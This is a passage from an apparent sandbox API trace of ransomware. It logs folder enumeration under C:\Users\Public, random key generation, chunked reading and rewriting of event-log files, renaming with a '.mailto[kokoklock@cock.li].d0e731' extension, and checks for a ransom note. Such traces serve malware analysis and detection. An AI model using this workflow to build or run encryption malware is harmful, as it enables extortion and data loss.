ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.992] wcscmp (_String1="..", _String2=".") returned 1 [0163.992] wcscmp (_String1="..", _String2="..") returned 0 [0163.992] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fa3fc8 | out: lpFindFileData=0x2fa3fc8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1 [0163.992] wcscmp (_String1="AccountPictures", _String2=".") returned 1 [0163.992] wcscmp (_String1="AccountPictures", _String2="..") returned 1 [0163.992] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87818 [0163.992] wcscpy (in: _Dest=0x2f87818, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0163.992] wcscat (in: _Dest=0x2f87818, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0163.992] wcscat (in: _Dest=0x2f87818, _Source="AccountPictures" | out: _Dest="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0165.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0165.596] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fa3fc8 | out: lpFindFileData=0x2fa3fc8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0165.596] wcscmp (_String1="Desktop", _String2=".") returned 1 [0165.596] wcscmp (_String1="Desktop", _String2="..") returned 1 [0165.596] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x30) returned 0x3013130 [0165.596] wcscpy (in: _Dest=0x3013130, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0165.596] wcscat (in: _Dest=0x3013130, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0165.596] wcscat (in: _Dest=0x3013130, _Source="Desktop" | out: _Dest="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0165.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3013130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0165.597] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fa3fc8 | out: lpFindFileData=0x2fa3fc8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa08e58, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.597] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0165.597] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0165.597] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fa3fc8 | out: lpFindFileData=0x2fa3fc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0165.597] wcscmp (_String1="Documents", _String2=".") returned 1 [0165.597] wcscmp (_String1="Documents", _String2="..") returned 1 [0165.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2fe3d88 [0165.597] wcscpy (in: _Dest=0x2fe3d88, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0165.597] wcscat (in: _Dest=0x2fe3d88, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0165.597] wcscat (in: _Dest=0x2fe3d88, _Source="Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0165.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fe3d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0165.598] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fa3fc8 | out: lpFindFileData=0x2fa3fc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0165.598] wcscmp (_String1="Downloads", _String2=".") returned 1 [0165.598] wcscmp (_String1="Downloads", _String2="..") returned 1 [0165.598] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2fe3e88 [0165.598] wcscpy (in: _Dest=0x2fe3e88, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0165.598] wcscat (in: _Dest=0x2fe3e88, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0165.598] wcscat (in: _Dest=0x2fe3e88, _Source="Downloads" | out: _Dest="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0165.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fe3e88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0165.599] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fa3fc8 | out: lpFindFileData=0x2fa3fc8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8460461d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8460461d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0165.599] wcscmp (_String1="Libraries", _String2=".") returned 1 [0165.599] wcscmp (_String1="Libraries", _String2="..") returned 1 [0165.599] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2fe3ec8 [0165.599] wcscpy (in: _Dest=0x2fe3ec8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0165.599] wcscat (in: _Dest=0x2fe3ec8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0165.599] wcscat (in: _Dest=0x2fe3ec8, _Source="Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0165.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fe3ec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0165.600] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fa3fc8 | out: lpFindFileData=0x2fa3fc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0165.600] wcscmp (_String1="Music", _String2=".") returned 1 [0165.600] wcscmp (_String1="Music", _String2="..") returned 1 [0165.600] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2c) returned 0x3013638 [0165.600] wcscpy (in: _Dest=0x3013638, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0165.600] wcscat (in: _Dest=0x3013638, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0165.600] wcscat (in: _Dest=0x3013638, _Source="Music" | out: _Dest="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0165.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3013638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0165.601] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fa3fc8 | out: lpFindFileData=0x2fa3fc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0165.601] wcscmp (_String1="Pictures", _String2=".") returned 1 [0165.601] wcscmp (_String1="Pictures", _String2="..") returned 1 [0165.601] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2fe3f08 [0165.601] wcscpy (in: _Dest=0x2fe3f08, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0165.601] wcscat (in: _Dest=0x2fe3f08, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0165.601] wcscat (in: _Dest=0x2fe3f08, _Source="Pictures" | out: _Dest="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0165.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fe3f08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0165.601] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fa3fc8 | out: lpFindFileData=0x2fa3fc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0165.601] wcscmp (_String1="Videos", _String2=".") returned 1 [0165.601] wcscmp (_String1="Videos", _String2="..") returned 1 [0165.602] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2e) returned 0x30136a8 [0165.602] wcscpy (in: _Dest=0x30136a8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0165.602] wcscat (in: _Dest=0x30136a8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0165.602] wcscat (in: _Dest=0x30136a8, _Source="Videos" | out: _Dest="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0165.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30136a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0165.602] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fa3fc8 | out: lpFindFileData=0x2fa3fc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0165.602] FindClose (in: hFindFile=0x2f80660 | out: hFindFile=0x2f80660) returned 1 [0165.602] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3fc8) returned 1 [0165.603] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f915c0) returned 1 [0165.603] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ad38) returned 1 [0165.603] RtlExitUserThread (Status=0x0) Thread: id = 1502 os_tid = 0xe54 [0163.992] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\application.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0163.995] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0163.995] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\application.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0163.996] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x5eefac0 | out: lpFileSize=0x5eefac0*=69824) returned 1 [0163.996] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.996] ReadFile (in: hFile=0x49c, lpBuffer=0x5eefa94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5eefa90, lpOverlapped=0x0 | out: lpBuffer=0x5eefa94*, lpNumberOfBytesRead=0x5eefa90*=0x4, lpOverlapped=0x0) returned 1 [0163.997] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.997] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ab08 [0163.997] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0163.997] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ab58 [0163.997] NtQuerySystemTime (in: CurrentTime=0x5eefa6c | out: CurrentTime=0x5eefa6c*=132121213213184540) returned 0x0 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x6c518151 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0xc337f6c1 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x4bfce778 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x35457f45 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x7510fd53 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0xf535f059 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x162bbf2f [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0xdfa49401 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0xde770034 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x8eda78eb [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0xa1cb70b7 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0xb9058f12 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x2c451354 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0xa1b3abde [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x21b7d2f9 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x8f68074 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x77199aff [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0xe5b3da99 [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x66cd732f [0163.997] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0xae5e59f4 [0163.998] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0xe444787d [0163.998] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x58aeecbd [0163.998] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x2b391823 [0163.998] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x5cdfed3 [0163.998] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0xd128c8ee [0163.998] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0xfb0b0f71 [0163.998] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x5b922a46 [0163.998] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x1284e868 [0163.998] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0xc9917e24 [0163.998] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x8fa53252 [0163.998] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x3b046ef2 [0163.998] RtlRandom (in: Seed=0x5eefa78 | out: Seed=0x5eefa78) returned 0x67d1a08 [0164.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac98 [0164.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f6ac50 [0164.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8acc0 [0164.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ac50) returned 1 [0164.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ab08) returned 1 [0164.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.016] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.016] ReadFile (in: hFile=0x49c, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x5eefa44, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x5eefa44*=0x4096, lpOverlapped=0x0) returned 1 [0164.017] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.017] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0164.018] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f6ac50 [0164.018] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ace8 [0164.018] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ace8) returned 1 [0164.018] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ace8 [0164.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8aab8 [0164.019] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8aab8) returned 1 [0164.019] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ac50) returned 1 [0164.019] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0164.019] WriteFile (in: hFile=0x49c, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x5eefa44, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x5eefa44*=0x4096, lpOverlapped=0x0) returned 1 [0164.020] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.020] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.020] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8ace8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5eefa7c, lpOverlapped=0x0 | out: lpBuffer=0x2f8ace8*, lpNumberOfBytesWritten=0x5eefa7c*=0x20, lpOverlapped=0x0) returned 1 [0164.020] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ace8) returned 1 [0164.020] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.020] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8acc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5eefa90, lpOverlapped=0x0 | out: lpBuffer=0x2f8acc0*, lpNumberOfBytesWritten=0x5eefa90*=0x8, lpOverlapped=0x0) returned 1 [0164.020] WriteFile (in: hFile=0x49c, lpBuffer=0x5eefaa8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5eefa90, lpOverlapped=0x0 | out: lpBuffer=0x5eefaa8*, lpNumberOfBytesWritten=0x5eefa90*=0x4, lpOverlapped=0x0) returned 1 [0164.021] WriteFile (in: hFile=0x49c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5eefa90, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x5eefa90*=0x4, lpOverlapped=0x0) returned 1 [0164.021] WriteFile (in: hFile=0x49c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x5eefa90, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x5eefa90*=0x6c, lpOverlapped=0x0) returned 1 [0164.021] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8ac70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5eefa90, lpOverlapped=0x0 | out: lpBuffer=0x2f8ac70*, lpNumberOfBytesWritten=0x5eefa90*=0x20, lpOverlapped=0x0) returned 1 [0164.021] WriteFile (in: hFile=0x49c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5eefa90, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x5eefa90*=0x4, lpOverlapped=0x0) returned 1 [0164.021] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.021] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac98) returned 1 [0164.021] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8acc0) returned 1 [0164.021] CloseHandle (hObject=0x49c) returned 1 [0164.021] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f98ad8 [0164.021] wcscpy (in: _Dest=0x2f98ad8, _Source="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731" [0164.021] wcscat (in: _Dest=0x2f98ad8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.021] MoveFileW (lpExistingFileName="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\application.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\application.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.022] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.023] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98ad8) returned 1 [0164.023] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.023] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806e0 [0164.023] wcscpy (in: _Dest=0x2f806e0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.023] wcscat (in: _Dest=0x2f806e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.023] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.023] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806e0) returned 1 [0164.023] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ae90) returned 1 [0164.023] RtlExitUserThread (Status=0x1) Thread: id = 1503 os_tid = 0xe58 [0164.025] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\hardwareevents.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.026] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.026] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\hardwareevents.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0164.026] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x5f6fad0 | out: lpFileSize=0x5f6fad0*=69824) returned 1 [0164.026] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.026] 